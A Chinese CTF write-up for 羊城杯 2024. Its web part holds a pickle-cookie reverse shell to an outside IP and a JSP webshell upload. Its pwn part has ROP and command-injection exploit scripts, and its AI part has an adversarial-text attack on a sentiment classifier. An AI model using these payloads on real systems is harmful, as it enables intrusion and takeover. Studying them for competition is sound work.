羊城杯-2024
web
web2
進題資訊蒐集一下,dirsearch發現了login路由可訪問,先隨便點一下,發現了一個檔案讀取:
http://139.155.126.78:30148/lyrics?lyrics=Rain.txt
我嘗試了一下:
http://139.155.126.78:30148/lyrics?lyrics=../../../../../../../../etc/passwd
發現可以讀取:
本以為是任意檔案讀取,但是沒有這麼簡單。
所以先嚐試一下讀取原始碼,用那個/static/style.css進行嘗試:
發現讀取檔案的目錄是在/var/www/html/XXX/這個目錄下的,那麼嘗試一下讀取app.py:
找到原始碼了。那麼接下來就好辦了,原始碼附上:
import os
import random
from config.secret_key import secret_code
from flask import Flask, make_response, request, render_template
from cookie import set_cookie, cookie_check, get_cookie
import pickle
app = Flask(__name__)
app.secret_key = random.randbytes(16)
class UserData:
def __init__(self, username):
self.username = username
def Waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word.lower() in data.lower():
valid = True
break
return valid
@app.route("/", methods=['GET'])
def index():
return render_template('index.html')
@app.route("/lyrics", methods=['GET'])
def lyrics():
resp = make_response()
resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
query = request.args.get("lyrics")
path = os.path.join(os.getcwd() + "/lyrics", query)
try:
with open(path) as f:
res = f.read()
except Exception as e:
return "No lyrics found"
return res
@app.route("/login", methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form["username"]
user = UserData(username)
res = {"username": user.username}
return set_cookie("user", res, secret=secret_code)
return render_template('login.html')
@app.route("/board", methods=['GET'])
def board():
invalid = cookie_check("user", secret=secret_code)
if invalid:
return "Nope, invalid code get out!"
data = get_cookie("user", secret=secret_code)
if isinstance(data, bytes):
a = pickle.loads(data)
data = str(data, encoding="utf-8")
if "username" not in data:
return render_template('user.html', name="guest")
if data["username"] == "admin":
return render_template('admin.html', name=data["username"])
if data["username"] != "admin":
return render_template('user.html', name=data["username"])
if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
app.run(host="0.0.0.0", port=8080)
放到pycharm裡面,發現了兩個不存在的庫,那麼只能是呼叫當前資料夾裡面的.py結尾檔案,一個是cookie,一個是config.secret_key。
而python裡的呼叫時用.代替資料夾的,所以要找的是../cookie.py和../config/secret_key.py
第一個是cookie的加密方式,第二個是cookie的一個簽名金鑰。
然後可以看到board裡面是用到了pickle.loads,並且wafs裡面有一個R字。說明打pickle反序列化的非R方向就行了。
想法:
直接用非R方向pickle序列化指令碼來打,然後用cookie的加密方法和金鑰進行簽名,拿去board裡面改cookie直接反彈shell就能出了。
先去把cookie.py讀取:
原始碼:
import base64
import hashlib
import hmac
import pickle
from flask import make_response, request
unicode = str
basestring = str
# Quoted from python bottle template, thanks :D
def cookie_encode(data, key):
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg
def cookie_decode(data, key):
data = tob(data)
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
return pickle.loads(base64.b64decode(msg))
return None
def waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word in data:
valid = True
# print(word)
break
return valid
def cookie_check(key, secret=None):
a = request.cookies.get(key)
data = tob(request.cookies.get(key))
if data:
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
res = base64.b64decode(msg)
if waf(res):
return True
else:
return False
return True
else:
return False
def tob(s, enc='utf8'):
return s.encode(enc) if isinstance(s, unicode) else bytes(s)
def get_cookie(key, default=None, secret=None):
value = request.cookies.get(key)
if secret and value:
dec = cookie_decode(value, secret)
return dec[1] if dec and dec[0] == key else default
return value or default
def cookie_is_encoded(data):
return bool(data.startswith(tob('!')) and tob('?') in data)
def _lscmp(a, b):
return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)
def set_cookie(name, value, secret=None, **options):
if secret:
value = touni(cookie_encode((name, value), secret))
resp = make_response("success")
resp.set_cookie("user", value, max_age=3600)
return resp
elif not isinstance(value, basestring):
raise TypeError('Secret key missing for non-string Cookie.')
if len(value) > 4096:
raise ValueError('Cookie value to long.')
def touni(s, enc='utf8', err='strict'):
return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)
這裡面需要用到的就是cookie的加密過程,就是cookie_encode這個函式。
然後我們去讀一下secret_key:
然後直接把指令碼其他東西刪了,用它的secret_code和cookie_encrypt進行加密就可以了,指令碼附上:
import base64
import hashlib
import hmac
import pickle
from flask import make_response, request
from flask import Flask, make_response
app = Flask(__name__)
unicode = str
basestring = str # Quoted from python bottle template, thanks :D
def cookie_encode(data, key):
msg = base64.b64encode(data)
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg
def waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word in data:
valid = True
# print(word)
break
return valid
def tob(s, enc='utf8'):
return s.encode(enc) if isinstance(s, unicode) else bytes(s)
if __name__ == "__main__":
res=b'''(S'bash -c 'sh -i >& /dev/tcp/101.37.149.223/2333 0>&1''\nios\nsystem\n.'''
secret_code = "EnjoyThePlayTime123456"
cookie_value = cookie_encode(res, key=secret_code)
print(cookie_value)
執行獲得:
然後我們複製到/board路由的cookie裡面,並且伺服器監聽2333埠,直接彈上shell了:
根目錄下的readflag直接執行,獲得flag。
web3
進入之後訪問/myapp。然後去訪問/read進行檔案的讀取,網上找到一個文章:
https://www.cnblogs.com/Junglezt/p/18122284
可以發現tomcat許多的/conf/tomcat-users.xml是不會修改的,那麼password就在裡面。
然後找到之後,進入login進行登入:
登入之後發現可以進行upload的操作,然後這裡發現了一個點:
如果輸入了web.xml,就一定會被ban掉,而檔案上傳是沒有任何過濾的。
既然只能用xml這樣的配置檔案,那麼能不能把配置檔案改了,然後直接將xml識別為jsp的一個xml的配置檔案,並傳入1.xml就可以了:
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<servlet>
<servlet-name>exec</servlet-name>
<jsp-file>/WEB-INF/1.xml</jsp-file>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>exec</servlet-name>
<url-pattern>/exec</url-pattern>
</servlet-mapping>
</web-app>
然後我們嘗試傳入1.xml,看看能不能識別為jsp檔案,傳入的是一句話木馬:
<%
out.println("Hello");
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
讀取用絕對路徑讀取,然後絕對路徑在那個/env路由裡面有。並且可以問chat得到。然後發現訪問成功之後,我們去訪問配置檔案定義的/exec路由,並傳入cmd引數,隨便傳一個,看看能不能回顯hello就可以了:
可以看到成功回顯,說明jsp木馬傳入,我們直接用jsp反彈shell來打:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzcuMTQ5LjIyMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}
其中base64加密內容為:
bash -i >& /dev/tcp/101.37.149.223/2333 0>&1
然後我們監聽2333埠,看看能不能彈shell:
成功彈上了。然後就得到了flag。
資料安全
資料安全1
給了個這樣的person_data,看示例和題目可知,需要把8項正確排序,沒什麼好說的,一個表格的直接讀取一點一點if過去就好了,(指令碼寫的很普通)指令碼附上:
import csv
def classify_data(data,k):
if not isinstance(data, str):
return None
if data.isdigit() and 1 <= int(data) <= 10000:
return 0
if data in ['男', '女']:
return 4
if ord(data[0]) in range(0x4e00, 0x9fff) or ord(data[0]) in range(0x3400, 0x4dbf) or ord(data[0]) in range(0x20000, 0x2a6df) or False: # 如果沒有其他條件了,這裡用False,但實際上是多餘的
return 3
if len(data) == 32:
return 2
if data.isdigit() and len(data) == 8:
return 5
if data[6:14] in k:
return 6
prefixes = ('734', '735', '736', '737', '738', '739', '747', '748', '750', '751', '752', '757', '758', '759', '772','778', '782', '783', '784', '787', '788', '795', '798', '730', '731', '732', '740', '745', '746', '755','756', '766', '767', '771', '775', '776', '785', '786', '796', '733', '749', '753', '773', '774', '777','780', '781', '789', '790', '791', '793', '799')
if data.startswith(prefixes):
return 7
else:
return 1
# 假設CSV檔案的路徑是'data.csv'
csv_file_path = 'person_data.csv'
new=[]
rows=[]
# 開啟CSV檔案
with open(csv_file_path, mode='r', encoding='utf-8') as file:
# 建立一個csv.reader物件來讀取檔案
csv_reader = csv.reader(file)
# 遍歷CSV檔案的每一行
for row_number, row in enumerate(csv_reader, start=1):
if row==['編號', '使用者名稱', '密碼', '姓名', '性別', '出生日期', '身份證號', '手機號碼']:
rows.append(row)
continue
new = [0, 0, 0, 0, 0, 0, 0, 0]
for i in row:
new[classify_data(i,row)]=i
rows.append(new)
with open("person_data2.csv", mode='w', newline='', encoding='utf-8') as file:
csv_writer = csv.writer(file)
csv_writer.writerows(rows)
這些電話號碼檢測在題目示例裡面給了。然後直接寫入新的csv檔案,然後直接提交就行了。
資料安全2
(這題成功拿下100.00%的相同率)
先用自帶的tshark和python的pyshark模組進行wireshark檔案的內容的讀取。
之前嘗試了一下用wireshark自帶的HTTP包匯出,只能匯出500條資料,總共有8000條資料,所以只能用python來跑。
這裡直接附上指令碼,這個獲取大括號裡面的內容就是所有需要的資訊:username啥的:
import pyshark
import json
cap = pyshark.FileCapture(input_file='data.pcapng', tshark_path='D:\\Wireshark\\tshark.exe',use_json=True,include_raw=True)
file_path = 'data.pcapng'
json_data_list = []
for packet in cap:
print(packet)
try:
raw_packet = packet.get_raw_packet()
json_start = raw_packet.index(b'{"') # 查詢 JSON 資料的起始位置
json_data = raw_packet[json_start:] # 提取 JSON 資料
print(json_data) # 除錯輸出 JSON 資料
json_data_list.append(json_data.decode('utf-8')) # 儲存 JSON 資料到列表中
except Exception as e:
print(f"異常: {e}")
# 將提取的 JSON 資料儲存到 JSON 檔案中
with open('data.json', 'w', encoding='utf-8') as f:
json.dump(json_data_list, f, ensure_ascii=False, indent=4)
然後我們直接拿到了data.json檔案。這裡面有8000條資料,都是需要的,然後我們就用判斷直接判斷錯誤的內容。
這裡又是附上屎山程式碼:
import csv
import json
xishu=[7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
jiaoyan=["1","0","X","9","8","7","6","5","4","3","2"]
alpha="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
digit="0123456789"
dot=[' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
phone=[734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772,778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,780, 781, 789, 790, 791, 793, 799]
def check(data):
for i in dot:
if i in data[0] or i in data[1] or i in data[2] or i in data[3] or i in data[4] or i in data[5]:
return 0
for i in data[1]:
if i in digit or i in alpha:
return 0
if data[2]!="男" and data[2]!="女":
return 0
if data[3] not in data[4]:
return 0
if (data[2]=="男" and int(data[4][-2])%2==0) or (data[2]=="女" and int(data[4][-2])%2==1):
return 0
sum=0
for i in range(len(data[4])-1):
sum += (int(data[4][i])*xishu[i])
if jiaoyan[sum%11]!=data[4][-1]:
return 0
if int(data[5][:3]) not in phone:
return 0
return 1
# 讀取 JSON 檔案
with open('data.json', 'r', encoding='utf-8') as f:
data_list = json.load(f)
# 處理資料
new_data = []
for item in data_list:
# 將字典轉換為列表
item=json.loads(item)
data = [item.get('username', ''), item.get('name', ''), item.get('sex', ''), item.get('birth', ''), item.get('idcard', ''), item.get('phone', '')]
print(data) # 列印資料以檢查轉換結果
if len(data) == 6:
if not check(data):
new_data.append(data)
# 將結果寫入 CSV 檔案
with open('person_data2.csv', mode='w', newline='', encoding='utf-8') as file:
csv_writer = csv.writer(file)
# 寫入 CSV 檔案的表頭
csv_writer.writerow(['username', 'name', 'sex', 'birth', 'idcard', 'phone'])
# 寫入資料
csv_writer.writerows(new_data)
print("檢查結果已儲存到 'person_data2.csv' 檔案中。")
前面那些東西都是題目給的,然後這麼跑出來之後,獲取了一個person_data2.csv檔案。然後直接提交,這裡也是拿下了100%的相同率。
資料安全3
給的附件是幾個log,就是幾個日誌檔案。其中我們需要做的就是把error.log的檔案中的相關資料提取出來。
這裡有一個細節:
在輸入了所有內容資訊之後,還會有一個判斷,說是使用者名稱不存在或者是輸入密碼:。如果有密碼我們就要把密碼拿下來,然後再切片、擷取到題目所需要的位置,如果沒有就正常刪除,這裡又寫了一個屎山程式碼,直接附上了:
import csv
import urllib.parse
import hashlib
xishu=[7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
jiaoyan=["1","0","X","9","8","7","6","5","4","3","2"]
alpha="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
digit="0123456789"
dot=[' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
phone=[734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772,778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,780, 781, 789, 790, 791, 793, 799]
def md5_encrypt(input_string):
# 建立一個md5 hash物件
md5_hash = hashlib.md5()
# 更新hash物件以字串值(需要先編碼為位元組串)
md5_hash.update(input_string.encode('utf-8'))
# 獲取十六進位制數格式的hash值,並轉換為小寫
return md5_hash.hexdigest()
def check(data):
for i in dot:
if i in data[0] or i in data[1] or i in data[2] or i in data[3] or i in data[4]:
return 0
for i in data[2]:
if i in digit or i in alpha:
return 0
sum=0
for i in range(len(data[3])-1):
sum += (int(data[3][i])*xishu[i])
if jiaoyan[sum%11]!=data[3][-1]:
return 0
if int(data[4][:3]) not in phone:
return 0
return 1
def read_log_until_next_bracket(filepath):
new=[['username','password','name','idcard','phone']]
"""
讀取指定的日誌檔案,在遇到包含'username'的行時,繼續讀取直到遇到下一個'['符號或檔案結束。
"""
try:
with open(filepath, 'r', encoding='utf-8') as file:
current_block = "" # 用於儲存從'username'開始到'['之前的所有內容
reading = False # 標記是否開始讀取塊
for line in file:
if "username" in line:
# 如果當前行包含'username',則開始讀取塊
reading = True
current_block += line # 新增當前行到塊中
elif "\\xe6\\x82\\xa8\\xe8\\xbe\\x93\\xe5\\x85\\xa5\\xe7\\x9a\\x84\\xe7\\x94" in line:
current_block = ""
reading = False
elif reading:
# 如果已經開始讀取塊,則繼續新增行到塊中
if "\\xe5\\xaf\\x86\\xe7\\xa0\\x81\\xe4\\xb8\\xba" in line:
# 如果當前行包含'[',則停止讀取塊並列印
# 注意:這裡只列印到'['之前的部分(如果需要)
# 或者你可以選擇保留整個塊直到'['
idx = line.find("\\xe5\\xaf\\x86\\xe7\\xa0\\x81\\xe4\\xb8\\xba")
if idx != -1: # 確保'['確實存在
current_block += line
tmp=(current_block.strip()[143:]) # 列印並去除首尾空白
edx = line
tmp=(tmp.split('&'))
tmp[3]=(tmp[3].split('\n'))
tmp.append(tmp[3])
tmp[3]=tmp[4][0]
tmp[4]=tmp[4][-1][-30:][:-2]
tmp[4]=tmp[4].split(": ")[1]
tmp.append(tmp[4])
tmp[4]=tmp[3]
tmp[3]=tmp[2]
tmp[2]=tmp[1]
tmp[1]=tmp[5]
tmp.pop()
tmp[0]=urllib.parse.unquote(tmp[0][9:])
tmp[2] = urllib.parse.unquote(tmp[2][5:])
tmp[3] = urllib.parse.unquote(tmp[3][7:])
tmp[4] = urllib.parse.unquote(tmp[4][6:])
if not check(tmp):
current_block = ""
tmp=[]
reading = False
continue
if len(tmp[0])==1:
pass
elif len(tmp[0])==2:
tmp[0]=tmp[0][0]+"*"
else:
tmp[0]=tmp[0][0]+(len(tmp[0])-2)*"*"+tmp[0][-1]
tmp[1]=md5_encrypt(tmp[1])
if len(tmp[2])==2:
tmp[2]=tmp[2][0]+"*"
else:
tmp[2]=tmp[2][0] + (len(tmp[2])-2)*"*"+tmp[2][-1]
tmp[3]="******"+tmp[3][6:10]+"********"
tmp[4]=tmp[4][:3]+"****"+tmp[4][-4:]
new.append(tmp)
current_block = "" # 重置塊
reading = False # 停止讀取
else:
current_block += line # 否則,繼續新增整行到塊中
print(new)
with open("person_data2.csv", mode='w', newline='', encoding='utf-8') as file:
csv_writer = csv.writer(file)
csv_writer.writerows(new)
except FileNotFoundError:
print(f"檔案 {filepath} 未找到。")
# 呼叫函式,傳入日誌檔案路徑
read_log_until_next_bracket('error.log')
寫了點註釋,大體意思就是將他們都用正常的方式排序完之後,用題目給的pdf的判斷方法進行判斷,從而將他們變成題目所需的樣子,然後再匯出到一個新的表格中直接提交就行了。
AI
AI 1
AI這個第一題是一個非常常見的一個AI,就是用不同構造的字串或者語句,讓AI回顯出現紊亂。
那麼這裡有一些方法:
修改注入語句,但是這樣就會導致重複率低於75%,所以不可取。
直接用chat進行語句的修改,並且嘗試多次注入,這樣用更智慧的ai來繞過ai也是可行的。不過這個方法不僅麻煩,而且成功率如果想要到達90%需要大量的時間成本。
我用的是最後一種方法,也是比較流行的一個方法,就是錯別字注入,或者說是故意改錯一些進行繞過。或者使用同義字進行繞過。
題目的另一個附件是這個資料夾,將此資料夾和寫出的py檔案和題目附件放在一個位置。
這裡指令碼讓GPT寫了又改,最後差不多是這樣:
import pandas as pd
import nltk
from nltk.corpus import wordnet
from transformers import AutoTokenizer, AutoModelForSequenceClassification
import torch
from sklearn.metrics.pairwise import cosine_similarity
# 設定裝置(CPU 或 GPU)
device_type = torch.device("cuda" if torch.cuda.is_available() else "cpu")
print(f"當前使用的裝置: {device_type}")
# 載入預訓練模型和tokenizer
text_tokenizer = AutoTokenizer.from_pretrained("Sentiment_classification_model")
classification_model = AutoModelForSequenceClassification.from_pretrained(
"Sentiment_classification_model"
).to(device_type)
def get_related_words(word):
"""生成單詞的同義詞列表"""
related_words = set()
for synset in wordnet.synsets(word):
for lemma in synset.lemmas():
related_words.add(lemma.name().replace("_", " "))
return list(related_words)
def make_typo(word):
"""在單詞中引入拼寫錯誤"""
if len(word) > 3:
index = 1
word = word[:index] + word[index + 1] + word[index] + word[index + 2:]
return word
def modify_text(input_text):
"""對文字進行詞彙替換和拼寫錯誤引入"""
token_list = nltk.word_tokenize(input_text)
pos_tags = nltk.pos_tag(token_list)
modified_texts = []
for idx, (token, tag) in enumerate(pos_tags):
if tag.startswith("NN") or tag.startswith("JJ") or tag.startswith("RB"):
related_words = get_related_words(token)
for synonym in related_words:
temp_tokens = token_list[:idx] + [synonym] + token_list[idx + 1:]
modified_texts.append(" ".join(temp_tokens))
typo_variant = make_typo(token)
typo_tokens = token_list[:idx] + [typo_variant] + token_list[idx + 1:]
modified_texts.append(" ".join(typo_tokens))
return modified_texts
def calculate_similarity(sentence1, sentence2, model, tokenizer):
"""計算兩個文字之間的餘弦相似度"""
model.eval()
encoded_text1 = tokenizer(
sentence1, return_tensors="pt", padding=True, truncation=True, max_length=512
).to(device_type)
encoded_text2 = tokenizer(
sentence2, return_tensors="pt", padding=True, truncation=True, max_length=512
).to(device_type)
with torch.no_grad():
outputs_text1 = model(**encoded_text1)
hidden_state1 = outputs_text1.logits.mean(dim=1)
outputs_text2 = model(**encoded_text2)
hidden_state2 = outputs_text2.logits.mean(dim=1)
sim_score = cosine_similarity(
hidden_state1.cpu().numpy(), hidden_state2.cpu().numpy()
)[0][0]
return sim_score
def generate_adversarial_text(
source_text, true_label, model, tokenizer, sim_threshold=0.75, attempts=5
):
"""生成具有攻擊性的文字"""
current_text = source_text
for _ in range(attempts):
candidate_texts = modify_text(current_text)
if not candidate_texts:
return current_text
for candidate in candidate_texts:
sim_score = calculate_similarity(source_text, candidate, model, tokenizer)
if sim_score >= sim_threshold:
input_data = tokenizer(candidate, return_tensors="pt").to(device_type)
output_prediction = model(**input_data)[0]
pred_label = torch.argmax(output_prediction, dim=1).item()
if pred_label != true_label:
return candidate
current_text = candidate_texts[0]
return current_text
# 讀取CSV檔案
data = pd.read_csv("original_text.csv")
# 儲存結果
results_data = []
# 生成對抗性文字
for i, row in data.iterrows():
original_sentence = row["text"]
actual_label = row["original_label"]
adversarial_sentence = generate_adversarial_text(
original_sentence,
actual_label,
classification_model,
text_tokenizer,
sim_threshold=0.75,
attempts=5,
)
results_data.append({"id": row["id"], "attacked_text": adversarial_sentence})
# 將結果轉換為DataFrame
result_df = pd.DataFrame(results_data)
# 儲存為CSV檔案
result_df.to_csv("attacked_text.csv", index=False)
# 輸出部分結果,驗證輸出格式
print(result_df.head())
然後跑出來的東西拿去交,發現透過率高達87%:
感受到來自出題人的溫暖,說好90%。結果87%的時候flag就被爆出來了。
pwn
pstack
標準的棧遷移,利用read完成三次棧遷移就可以,唯一要注意的就是bss段的地址,不要取開頭,這樣洩露libc的時候會卡死不動
from pwn import * context(os='linux',arch='amd64',log_level='debug') elf=ELF('./pwn') libc=ELF('libc.so.6') #io=process('./pwn') io=remote('139.155.126.78',31425) puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] rdi=0x400773 read=0x4006C4 leave=0x4006DB bss=0x601500 vuln=0x4006B0 rbp=0x4005b0 ret=0x400506 io.recv() #gdb.attach(io,'b main') payload=b'a'*0x30+p64(bss+0x30)+p64(read) io.send(payload) payload=p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(rbp)+p64(bss+0x300+0x30)+p64(read)+p64(bss-8)+p64(leave) io.send(payload) puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libc_base = puts_addr - libc.sym["puts"] print("libc_base: ", hex(libc_base)) system_addr = libc_base + libc.sym["system"] binsh_addr = libc_base + next(libc.search(b"/bin/sh")) payload=b'a'*8+p64(rdi)+p64(binsh_addr)+p64(ret)+p64(system_addr)+p64(0)+p64(bss+0x300)+p64(leave) io.sendline(payload) io.interactive()
httpd
程式會先跳到/home/ctf/html的路徑下
我們的haystack是自己輸入的,這裡的popen函式就比較危險,可以執行haystack中指定的命令
所以思路就很明確,因為flag在根目錄,所以我們先利用上面的漏洞,把flag複製到/home/ctf/html下,然後第二次直接讀就行
from pwn import * io = remote('139.155.126.78',32514) payload=b'get /cp%20/flag%20/home/ctf/html HTTP/1.0' io.sendline(payload) io.sendline('Host: '+'127.0.0.1') io.sendline('Content-Length: '+ '80') io.close() io = remote('139.155.126.78',32514) haystack='/flag' payload=b'get /flag HTTP/1.0' io.sendline(payload) io.sendline('Host: '+'127.0.0.1') io.sendline('Content-Length: '+ '80') io.interactive()
logger
不說了,我就是天才,現場學了一下異常處理
1號裡面有一個陣列溢位,可以修改到src
重點其實在第二個選項
這個異常處理沒有catch,而且題目沒有pop rbp ret,所以沒辦法打orw,但是注意到,其實是有system函式的,而且題目有三個異常捕捉,除了這個都是有catch的,而且就在這裡,呼叫了system函式
我們只需要把返回地址改成這個catch,scr段會被當成system的引數,透過1把src改掉就行(前面不能隨意填充垃圾資料,比如都是a,得放一堆地址,不然最後的引數裡面也有一堆a)
from pwn import * #io=process('./pwn') io=remote('139.155.126.78',38895) #gdb.attach(io,'b *0x4018E0') def trace(content): io.recvuntil(b'Your chocie:') io.sendline(str(1)) io.recvuntil(b'You can record log details here:') io.sendline(content) io.recvuntil(b'Do you need to check the records?') io.sendline(b'N') def warn(content): io.recvuntil(b'Your chocie:') io.sendline(str(2)) io.recvuntil(b'[!] Type your message here plz') io.send(content) leave=0x4015a9 ret=0x40101a bss=0x404420 src=0x4040A0 input=0x404020 catch=0x401BC7 trace(b'/bin/sh\x00') trace(b'/bin/sh\x00') trace(b'/bin/sh\x00') trace(b'/bin/sh\x00') trace(b'/bin/sh\x00') trace(b'/bin/sh\x00') trace(b'/bin/sh\x00') trace(b'a'*0x10) trace(b'/bin/sh\x00') io.recv() warn(p64(bss-8)*15+p64(catch)) #warn(p64(bss-8)*15+p64(catch)) io.interactive()
拿下!
Crypto
一、 TheoremPlus
在威爾遜定理中,當e為素數時,結果為-1,當e不為素數時,結果0,除了4和2。在求解一個素數下有多少個小素數時,可以使用埃氏篩法。
import gmpy2 import libnum n = 18770575776346636857117989716700159556553308603827318013591587255198383129370907809760732011993542700529211200756354110539398800399971400004000898098091275284235225898698802555566416862975758535452624647017057286675078425814784682675012671384340267087604803050995107534481069279281213277371234272710195280647747033302773076094600917583038429969629948198841325080329081838681126456119415461246986745162687569680825296434756908111148165787768172000131704615314046005916223370429567142992192702888820837032850104701948658736010527261246199512595520995042205818856177310544178940343722756848658912946025299687434514029951 c = 2587907790257921446754254335909686808394701314827194535473852919883847207482301560195700622542784316421967768148156146355099210400053281966782598551680260513547233270646414440776109941248869185612357797869860293880114609649325409637239631730174236109860697072051436591823617268725493768867776466173052640366393488873505207198770497373345116165334779381031712832136682178364090547875479645094274237460342318587832274304777193468833278816459344132231018703578274192000016560653148923056635076144189403004763127515475672112627790796376564776321840115465990308933303392198690356639928538984862967102082126458529748355566 '''x = gmpy2.iroot(n,2)[0] while n%x !=0 : x -= 1 p = x q = n//p print(q) print(p)''' def decode_e(e): if e > 1: mul = 1 for i in range(1, e): mul *= i if e - mul % e - 1 == 0: mulmod = mul % e - e else: mulmod = mul % e return mulmod + decode_e(e - 1) else: return 0 q = 137005750887861042579675520137044512945598822783534629619239107541807615882572096858257909592145785126427095471870315367525847725823941391135851384962433640952546093687945848986528958373691860995753297871619638780075391669495117388905134584566094832853663864356912013900594295175075123578366393694884648557219 p = 137005750887861042579675520137044512945598822783534629619239107541807615882572096858257909592145785126427095471870315367525847725823941391135851384962433640952546093687945848986528958373691860995753297871619638780075391669495117388905134584566094832853663864356912013900594295175075123578366393694884648557429 e = 36421874 - 1 #去掉703440151,1 phi_n = (p-1)*(q-1) d = gmpy2.invert(e,phi_n) m = pow(c,d,n) print(libnum.n2s(int(m))) ''' def couPrime(N): primeList = [True]*N for i in range(2,N): if(primeList[i]): for j in range(2*i,N,i): primeList[j]=False cou = primeList.count(True)-2 return cou print(couPrime(703440151)) #36421874 ''' #DASCTF{Ot2N63D_n8L6kJt_f40V61m_zS1O8L7}
二、TH_Curve
首先利用已知的點求出引數d,將Twisted Hessian curves轉化為weierstrass曲線,即寫出引數a0,a1,a2,a3,a4,a6,並且將已知點也轉化。利用Pohlig-Hellman演算法計算離散對數。
import gmpy2 import libnum p = 10297529403524403127640670200603184608844065065952536889 x1 = 8879931045098533901543131944615620692971716807984752065 y1 = 4106024239449946134453673742202491320614591684229547464 d = (2*x1**3+y1**3+1)*gmpy2.invert(x1*y1,p) % p a = 2 x2 = 6784278627340957151283066249316785477882888190582875173 y2 = 6078603759966354224428976716568980670702790051879661797 a0 = 1 a1 = - 3 *(d/3) / (a - (d/3) *(d/3) *(d/3)) a3 = - 9 / ((a - (d/3)* (d/3) *(d/3)) *(a - (d/3) *(d/3)* (d/3))) a2 = - 9 *(d/3) *(d/3) / ((a - (d/3) *(d/3) *(d/3)) * (a - (d/3)* (d/3)* (d/3))) a4 = - 27 *(d/3) / ((a - (d/3)* (d/3)* (d/3))* (a - (d/3) *(d/3) *(d/3)) *(a - (d/3)* (d/3)* (d/3))) a6 = - 27 / ((a - (d/3) *(d/3)* (d/3)) *(a - (d/3) *(d/3) *(d/3))* (a - (d/3) *(d/3)* (d/3)) *(a - (d/3)* (d/3)* (d/3))) #print(d) #print(a0,a1,a2,a4,a6) E = EllipticCurve(GF(p), [a1, a2, a3, a4, a6]) #u = (-3 / (a - d* d *d/27)) *x / (d *x/3 - (-y) + 1) #v = (-9 / ((a - d *d *d/27) *(a - d* d *d/27))) (-y) / (d* x/3 - (-y) + 1) gx =(-3 / (a - d* d *d/27)) *x1 / (d *x1/3 - (-y1) + 1) gy =(-9 / ((a - d *d *d/27) *(a - d* d *d/27))) *(-y1) / (d* x1/3 - (-y1) + 1) px =(-3 / (a - d* d *d/27)) *x2 / (d *x2/3 - (-y2) + 1) py =(-9 / ((a - d *d *d/27) *(a - d* d *d/27))) *(-y2) / (d* x2/3 - (-y2) + 1) G = E(gx,gy) Q = E(px,py) P,Q = G,Q factors, exponents = zip(*factor(E.order())) print(factors, exponents) primes = [factors[i] ^ exponents[i] for i in range(len(factors))][3:-1] print(primes) dlogs = [] for fac in primes: t = int(int(P.order()) // int(fac)) dlog = discrete_log(t*Q,t*P,operation="+") dlogs += [dlog] print("factor: "+str(fac)+", Discrete Log: "+str(dlog)) #calculates discrete logarithm for each prime order l = crt(dlogs,primes) print(libnum.n2s(int(l))) #b'e@sy_cuRvL_c0o!'
三、RSA_loss
newm = pow(c, d, n)可以知道m>n,與常規的rsa不同。flag = newm + k * n,計算出k的範圍,爆破m的長度。
